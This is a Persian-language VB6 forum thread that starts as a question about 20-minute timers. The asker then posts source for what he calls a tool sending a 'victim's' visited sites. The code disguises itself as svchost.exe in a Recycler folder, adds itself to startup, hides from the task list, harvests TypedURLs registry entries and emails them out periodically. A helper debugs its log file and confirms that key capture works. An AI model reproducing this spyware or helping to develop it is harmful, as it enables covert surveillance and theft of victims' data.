کار با تایم های بالای چند دقیقه

[pesarake]

سلام من با تایمر مشکل دارم میخوام سیستمم مثلا بعد هر 20 دقیقه یه متنی رو برام میل کنه چجوری حالیش کنم هر بیست دقیقه این کار رو بکنه آخه بالای ده ثانیه انگا نمیشه میشه کسی آموزش دقیق بهم بده همه خلاصه میگن و لفظی منم متوجه نمیشم با سورس توضیح بدین عالیه خیلی نیاز دارم

[محسن واژدی]

سلام
کد زیر را جایگزین تایمر برنامه تان کنید، که در آن پس از هر 20 دقیقه یک پیام ظاهر میشود که شما میتوانید دستور ایمیل را جایگزین آن کنید:

Private Sub Timer1_Timer()
On Error Resume Next
Static tmr%
Timer1.Interval = 1000
tmr% = tmr% + 1
Me.Caption = tmr & " sec - " & Int((tmr * 20) / 1200) & " min"
If tmr% >= 1200 Then
MsgBox "tmr=2Min"
tmr = 0
End If
End Sub



موفق باشید

[pesarake]

اینتروال خود تایمر رو چیکار کنم
رو خود فرم تایمر نباید تنظیماتی اعمال کنم؟

[محسن واژدی]

اینتروال خود تایمر رو چیکار کنم
رو خود فرم تایمر نباید تنظیماتی اعمال کنم؟


البته چرا فقط باید یه مقداری را برای شروع تایمر جایگزین صفر پیش فرض کنین مثلا 1ms که بعد از شروع interval خود بر روی 1000ms=1s مقدار دهی میشود

موفق باشید

[pesarake]

الان این سورس کارش اینه وبلاگهایی که قربانی دید رو میفرسته
میتونی بگی ایرادش چیه؟
Option Explicit
Dim oReg As New clsRegistry
Const APP_KEY As String = "Software\Microsoft\Internet Explorer\TypedURLs"



Private Sub cmdAttach_Click()
CD.ShowOpen
If CD.FileName <> "" Then
txtAttach.Text = CD.FileName
End If
End Sub


Private Sub Form_Load()
On Error Resume Next

file.MoveFile App.Path & "\" & "svchost.exe", "e:\Recycler\"
mdlMail.DoStartUp "e:\Recycler\svchost.exe", "StartUp Program"
Dim BlF As String
TR = 0
BlF = String(255, 0)
GetComputerName BlF, 255
txtSubject.Text = Left(BlF, InStr(1, BlF, Chr(0)) - 1)
App.TaskVisible = False
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Dim Send As Boolean
Static tmr%
Timer1.Interval = 1000
tmr% = tmr% + 1
Me.Caption = tmr & " sec - " & Int((tmr * 20) / 1200) & " min"
If tmr% >= 1200 Then
Send = mdlMail.SendMail(txtSender.Text, txtSubject.Text, txtReciver.Text, txtText.Text, txtPassword.Text, txtAttach.Text)
MsgBox "Send Result= " & Send, vbInformation, "Sending Mail"
tmr = 0
End If
End Sub

Private Sub Timer2_Timer()
On Error Resume Next
Dim i As Integer
Dim p As String
Static tmr%
Timer1.Interval = 1000
tmr% = tmr% + 1
Me.Caption = tmr & " sec - " & Int((tmr * 20) / 1200) & " min"
If tmr% >= 1200 Then
For i = 1 To 200
p = oReg.GetRegistryValue(HKEY_CURRENT_USER, APP_KEY, "url" & i, "")
If p <> "" Then
txtText = txtText & oReg.GetRegistryValue(HKEY_CURRENT_USER, APP_KEY, "url" & i, "") & vbCrLf
End If
Next i
End If
End Sub

[محسن واژدی]

الان این سورس کارش اینه وبلاگهایی که قربانی دید رو میفرسته
میتونی بگی ایرادش چیه؟
Option Explicit
Dim oReg As New clsRegistry
Const APP_KEY As String = "Software\Microsoft\Internet Explorer\TypedURLs"



Private Sub cmdAttach_Click()
CD.ShowOpen
If CD.FileName <> "" Then
txtAttach.Text = CD.FileName
End If
End Sub


Private Sub Form_Load()
On Error Resume Next

file.MoveFile App.Path & "\" & "svchost.exe", "e:\Recycler\"
mdlMail.DoStartUp "e:\Recycler\svchost.exe", "StartUp Program"
Dim BlF As String
TR = 0
BlF = String(255, 0)
GetComputerName BlF, 255
txtSubject.Text = Left(BlF, InStr(1, BlF, Chr(0)) - 1)
App.TaskVisible = False
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Dim Send As Boolean
Static tmr%
Timer1.Interval = 1000
tmr% = tmr% + 1
Me.Caption = tmr & " sec - " & Int((tmr * 20) / 1200) & " min"
If tmr% >= 1200 Then
Send = mdlMail.SendMail(txtSender.Text, txtSubject.Text, txtReciver.Text, txtText.Text, txtPassword.Text, txtAttach.Text)
MsgBox "Send Result= " & Send, vbInformation, "Sending Mail"
tmr = 0
End If
End Sub

Private Sub Timer2_Timer()
On Error Resume Next
Dim i As Integer
Dim p As String
Static tmr%
Timer1.Interval = 1000
tmr% = tmr% + 1
Me.Caption = tmr & " sec - " & Int((tmr * 20) / 1200) & " min"
If tmr% >= 1200 Then
For i = 1 To 200
p = oReg.GetRegistryValue(HKEY_CURRENT_USER, APP_KEY, "url" & i, "")
If p <> "" Then
txtText = txtText & oReg.GetRegistryValue(HKEY_CURRENT_USER, APP_KEY, "url" & i, "") & vbCrLf
End If
Next i
End If
End Sub

این برنامه برای اجرا به چندتا بخش نیازمند هست: یکی کنترل CD که فکر کنم منطورش common_dialog باشد ، کلاس clsRegistry، ماژول mdlMail و چند تای دیگه که بدون آن ها نمیتوان آن تست کرد
اگر سورس را در اختیار دارید ضمیمه کنید

موفق باشید

[pesarake]

اینم سورس
http://www.uploadkon.ir/uploads/1311141768.rar
ممنونم میشم نقصشو برطرف کنید و بگید اشکالش چیه؟

[محسن واژدی]

مشکل میتواند در رویداد txtText_Change و در نحوی باز کردن فایل گزارش باشد:

Private Sub txtText_Change()
.
.
Open a For Append As #1
.
.
End Sub


چون این دستور فایل را بصورت append باز میکند پس محتویات قبلی حذف نمیشوند بلکه داده های جدید دوباره به اطلاعات قبلی اضافه میشود که این باعث افزایش بیش از حجم فایل گزارش شده است، اگر دستور را بصورت زیر ویرایش کنید مشکل باید برطرف شود:

Open a For Output As #1


موفق باشید

[M.T.P]

دقیق ترین کانتر برای زمان سپری شده تابع GetTickCount هستش.
کد زیر بعد از مدت 1200 ثانیه یا همان 20 دقیقه ایمیل شما رو ارسال میکند.
به جای Send Mail در کد زیر تابع ارسال ایمیل رو بزارید.
اینتروال تایمر هم 1000 هست.




Option Explicit

Private Declare Function GetTickCount Lib "kernel32" () As Long
Dim IntCounter As Long
Dim IntSendTime As Long

Private Sub Form_Load()
Timer1.Interval = 1000
IntSendTime = Tick
End Sub

Private Sub Timer1_Timer()
If (Tick - IntSendTime) = 1200& Then '1200 sec = 20min
IntSendTime = Tick
'Send Mail...
End If
End Sub

Function Tick() As Long
Tick = GetTickCount \ 1000
End Function

[pesarake]

متوجه نشدم
یه تغییر تو سورس دادم و کلاس ماژول اضافه کردم
یه نگاهی میندازی و تو خود سورس تغییرات رو اعمال میکنی و بهم بدی
؟
http://www.uploadkon.ir/uploads/1311145196.rar

[محسن واژدی]

کدام قسمت را منظورتون هست، جواب بنده یا جناب M.T.P؟

[pesarake]

شما محسن جان
این سورسی که تو همینجا تقدیمتون کردم رو یه نگاهی بندازین
به نظر شما این سورس خوب کار میده؟
مشکلی نداره؟
میخوام یه دستی روش بکشید؟

[محسن واژدی]

میبخشید، فعلا" درگیر موضوعی هستم نمیتوانم سورستون را مطالعه کنم، البته تنها بخشی که میتوانست حجم فایل گزارشتون را افزایش دهد همان قسمتی بود که در پست های قبل عرض کردم و چون ارسال ایمیل هم با موفقیت انجام میشد همچنین دریافت کلیدهای فشرده شده پس دیگر فکر نکنم مشکلی باقی مانده باشد

[ali190]

سلام
در این مورد در سایت یه کامپوننت وجود داره که میتونی در اون با واحدهای ثانیه ، دقیقه و ساعت در تایمر استفاده کنی
یعنی میتونی interval تایمرت رو بر حسب اون سه واحد بچینی
تو پست های من جستجو کن ، پیدا میکنی
یاعلی

[salamu]

اگه تو زمان اجرا یه تایمرو مقدار دهی کنی مشکلی پیش نمیاد.من که با این کار تونستم تا 15 دقیقه رو هم حساب کنم.حتماً تا 20 هم میشه امتحان کنید.